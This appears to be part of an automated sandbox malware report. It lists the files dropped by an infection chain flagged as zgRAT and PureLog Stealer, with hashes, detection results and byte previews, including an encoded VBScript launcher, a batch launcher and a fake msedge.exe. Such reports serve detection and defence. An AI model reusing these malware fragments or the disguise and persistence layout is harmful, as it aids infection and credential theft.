SSDEEP:	49152:4hKLUy2ich2Y+jCRZCH77sVccM50sF/CwsuVo:4hKPFch2YHgbucc00Odo
MD5:	0F91548CA49C64D6A8CD3846854F484C
SHA1:	033C309B683020221AE189C4236A70C0D3DDD568
SHA-256:	A7883947A5F3C0D74F3EAC6C2A6DA45555298D769F5E3137E10A3ECE14E83DFD
SHA-512:	E207B5545CEED034EC22F13E1A36F13656721B2C9CAB97F6EC7BA8195F32DDC1673E1334902B2D4FC0CE393BAF7F806BEDF4A03A26A8FFE79AD17A87CF9A90A2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Bridgecontainerserver\BrokerhostNet.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Bridgecontainerserver\BrokerhostNet.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....._g................................. ... ....@.. .......................`............@.....................................K.... .. ....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B........................H...........,...............&...........................................0..........(.... ........8........E....9...............84...(.... ....8....(.... ....~....{g...9....& ....8....(.... ....~....{....:....& ....8........0..<....... ........8........E....i...........u...).......U...8d...8j... ....~....{....:....& ....8........~....(@...~....(D... ....<.... ....8....~....9.... ....8v...r...ps....z8.... ....~....{....9Q...& ....8F...~....(8... .... .... ....s....~....(<...

C:\Bridgecontainerserver\SlMo.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	89
Entropy (8bit):	5.11849761614088
Encrypted:	false
SSDEEP:	3:nEnlHmXijn1o5n3VXGGsKWdiXNEPDO3Vhn:+myb+BAKE8WsVh
MD5:	20C75FEF4553C17D36635750CFB57049
SHA1:	8489A5998ACAA63326BC1A665C38EB71C5D1F426
SHA-256:	0DCEF4794868F563D515BBEEE69E35DDE750411EE9DCAAFDEF597806C89CABD0
SHA-512:	2819F6585BD3EE7E9F1703C259B97B21DBACDE276186A489ACFEA0C36F377F751845B50ED00A70E029E95F588193CF69F77AEAF2785E67888378B9F2E95EE92A
Malicious:	false
Reputation:	unknown
Preview:	%gabEgBvWbO%%wQPPI%..%WZGFBUH%"C:\Bridgecontainerserver/BrokerhostNet.exe"%lSNvHajfkRpiH%

C:\Bridgecontainerserver\VBxKsR3W5qREBSxxvIt5VpzoFdFFANtbsRk6NDfKSHeOxN7UsJds5Ck.vbe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe
File Type:	data
Category:	dropped
Size (bytes):	204
Entropy (8bit):	5.715910351078393
Encrypted:	false
SSDEEP:	6:GVWvwqK+NkLzWbHnrFnBaORbM5nCkahPzuR/bgASOs:GVW2MCzWLnhBaORbQCRPiPc
MD5:	E52EEC5FE59F0E73555C7D43C0035F62
SHA1:	E6FCC87B7D260C2FCFFF89E28E7D45357357520E
SHA-256:	B5712CE1AA870E16ED1464F1ECD627AED7020BB48C61252471CF9EC0B2D38D7F
SHA-512:	325C467E6519FB72238C62ABBB7B89D32016A71416D41F148A38E41853928FC9CC84ED6B096784AF9B1AD23C3363316D6B4F3464959127DFEE1794CC926D40A7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	unknown
Preview:	#@~^swAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2v f!ZT@#@&U+DP.ktU4+^V~',Z.nmY+}8L.mYvE.?1DbwORj4.VsJ*@#@&q/4j4+Vs "EUPr/=z$Mk9o+1W.OlbxnDk+.-.DzJjVtWR(COJBPZ~~0Csk+HTkAAA==^#~@.

C:\Bridgecontainerserver\cd8865f07816b5

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	ASCII text, with very long lines (741), with no line terminators
Category:	dropped
Size (bytes):	741
Entropy (8bit):	5.888508059889996
Encrypted:	false
SSDEEP:	12:Km8VcrpvTptaPDuLtAHoYSoGrik2sMoie5W5LyDRLsbTAzITIPKjgogAaunXzL9:KmWcTUDgyzC29omeLsQzqjgozaaXv9
MD5:	B7017598823014845E7DD7D4988BEE05
SHA1:	B1033959E3AE93737BFBC72C69F461D502E507C7
SHA-256:	9AB4947A0FD388A19A0869C3C3501C26AE799FF6B55B606DA74CEE3FEF4C1894
SHA-512:	20FFAD480EFD68F12EE82E64F80F44EF8FA501C7A7ECE6376806BBE6DE2176F518EE8E609FFC4A0C76AB30923ECD5D5F2DCD3898434D43D150A9EA7D4D7E454D
Malicious:	false
Reputation:	unknown
Preview:	G5DcTAfaxFA5udPqruBUClDg97PE21rAYmRgqsKqwwLgyTr2eUrFtQrf1gcWuah6Y9hILs98jVhPahsqPXjhJlQH4wpJPy5WPOIyvjqwUsfYtcEUywGW09wxsaNZD0tvZLALY44qrxNbG2XcrUVdrjfPcUFVVQse9u8hb3531apDwVq0CvsteQD0pvtEzjUaEtbV3zAxYblR3ccGoOSki99tqI2qK1ESFO8D3U6Mu4UDow6NSmZkQu2Euspv7UnhXSLpeZMTSGznp6E4MpXhbdCUW3SLpLOaQxpVlRs3ZGSK5OZynviS6GF3Q0TkGBoG1YX2QsS46dHVL1ZHeeh4m6eKrvFu8IxYcLTg1gh5coWc9trYbLGlete44NKeni6yqt3Ai2P77lb8kBK8DqSwCM4sqYmoWCS3riwQ0q0j5Io2SfU2CMa6PKveyKUKQll4TiRCP4HX0t13hBaKDtmKlVnhwRbpWpSThtiuOSnHEDGgS26xuJGh9bT84tQ7dbAKbhWydq5vFfFhOHO3Vo5NjvUGajzeBpnnD5FvfITENUbdVvtwfWmzgwlpMQX30btZ1cdTCcYMU1AOT0up0D9pDxHRTZjPvaNwlBm3RauC7ZfpwXVVfrDxbDVEVM9n3Jb4nOmRO0XaT6roSbe6DNtDXaUhqhiEaGJy7lBiuEGpTmefVrv3rCjqaYgM3FlqST9Mx3qqZ6L9GEtu5yL8vpWXgdYjEzoocZWAnSscB

C:\Program Files (x86)\Microsoft\Edge\Application\CSCAD9FC9E56B4E44A3B8144428FC2A7230.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1168
Entropy (8bit):	4.448520842480604
Encrypted:	false
SSDEEP:	24:mZxT0uZhNB+h9PNnqNdt4+lEbNFjMyi07:yuulB+hnqTSfbNtme
MD5:	B5189FB271BE514BEC128E0D0809C04E
SHA1:	5DD625D27ED30FCA234EC097AD66F6C13A7EDCBE
SHA-256:	E1984BA1E3FF8B071F7A320A6F1F18E1D5F4F337D31DC30D5BDFB021DF39060F
SHA-512:	F0FCB8F97279579BEB59F58EA89527EE0D86A64C9DE28300F14460BEC6C32DDA72F0E6466573B6654A1E992421D6FE81AE7CCE50F27059F54CF9FDCA6953602E
Malicious:	false
Reputation:	unknown
Preview:	.... ...........................D...<...............0...........D.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...8.....I.n.t.e.r.n.a.l.N.a.m.e...m.s.e.d.g.e...e.x.e.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...@.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...m.s.e.d.g.e...e.x.e.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <security>.. <requestedPrivileges xmlns="urn:schemas-micro

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.923339699947892
Encrypted:	false
SSDEEP:	48:6ymNtWxZ8RxeOAkFJOcV4MKe28dltvqBHnuulB+hnqXSfbNtm:8pxvxVx9rvkZTkZzNt
MD5:	AB0470F15386853B16BD581003DD779B
SHA1:	FCCB98FBD6118BB7A5047209C634036E11BA6110
SHA-256:	9F30619028AF1F34CBAFDD274CB245157607FE0848CC52DADA6726C11F0FCF8F
SHA-512:	92EF0F2AC53DAF4E95AAAE05FF4650CE2669FA92E4D3087E684286203D0015D79A6573E9316190A4F7F2B8EC57B70896C2AEDA0B43FBE20571108DF71E9B17FD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...61`g.............................'... ...@....@.. ....................................@.................................d'..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..<.............................................................(.....0..!.......r...pr...p.{....(....(....&..&......................0..........r...p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings............#US.........#GUID....... ...#Blob...........WU........%3................................................................

C:\ProgramData\CAKKKFBFIDGDBFHJJEHI

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBAEGCGCGIEGDHIDHJJE

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGIJJDG

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHJDGID

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x226b25ae, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433025595420298
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:7azaHvxXy2V2UR
MD5:	A81A994BEB71A16932FE8F7D0A019698
SHA1:	4B8DE390F563105FA5838A31FD5DE9086B219A87
SHA-256:	3B9C4D75C1F71E22ADAA1E1FA31C7D1CFED8FF5A00C03974C1DF7DAAEB8760A1
SHA-512:	353FFC54D881911A84A23EDDBDE7A29DD08A0A8C305C12FA09643F01006B6DD73B11E093FB0AE017DBA9E06882024A8790509E670FAE594E1BE84723E2CD8F11
Malicious:	false
Reputation:	unknown
Preview:	"k%.... ...............X\...;...{......................0.x...... ...{s.7....\|..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................).7....\|..................c8Y.7....\|...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\376a884392.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.355760272568367
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2FDkwIyp1v:Q3La/KDLI4MWuPXcp1v
MD5:	FC3575D5BE1A5405683DC33B66D36243
SHA1:	1C816D34B7D5B96E077DC3EF640BA8C7BA370502
SHA-256:	1D7F7FBA862417A1D0351C1BF454F1A9BB0ED7FFD5DF1112EED802C01BDDA50C
SHA-512:	68914FE00F8550A623074F9ACC31ACEF8A3F6DFDDBD9FDA23512079BEC5E8A4D4E82BC8CD8D536E6C88F4DA3A704AC376785B44343BD3BED83E440857A3C0164
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\91a3357555.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.355760272568367
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2FDkwIyp1v:Q3La/KDLI4MWuPXcp1v
MD5:	FC3575D5BE1A5405683DC33B66D36243
SHA1:	1C816D34B7D5B96E077DC3EF640BA8C7BA370502
SHA-256:	1D7F7FBA862417A1D0351C1BF454F1A9BB0ED7FFD5DF1112EED802C01BDDA50C
SHA-512:	68914FE00F8550A623074F9ACC31ACEF8A3F6DFDDBD9FDA23512079BEC5E8A4D4E82BC8CD8D536E6C88F4DA3A704AC376785B44343BD3BED83E440857A3C0164
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\BrokerhostNet.exe.log

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1396
Entropy (8bit):	5.350961817021757
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNrJE4qtE4KlOU4mZsXE4Npv:MxHKQwYHKGSI6oPtHTHhAHKKkrJHmHKu
MD5:	EBB3E33FCCEC5303477CB59FA0916A28
SHA1:	BBF597668E3DB4721CA7B1E1FE3BA66E4D89CD89
SHA-256:	DF0C7154CD75ADDA09758C06F758D47F20921F0EB302310849175D3A7346561F
SHA-512:	663994B1F78D05972276CD30A28FE61B33902D71BF1DFE4A58EA8EEE753FBDE393213B5BA0C608B9064932F0360621AF4B4190976BE8C00824A6EA0D76334571
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutr

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MCdUWiJkswOzRL.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\4007342d09.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
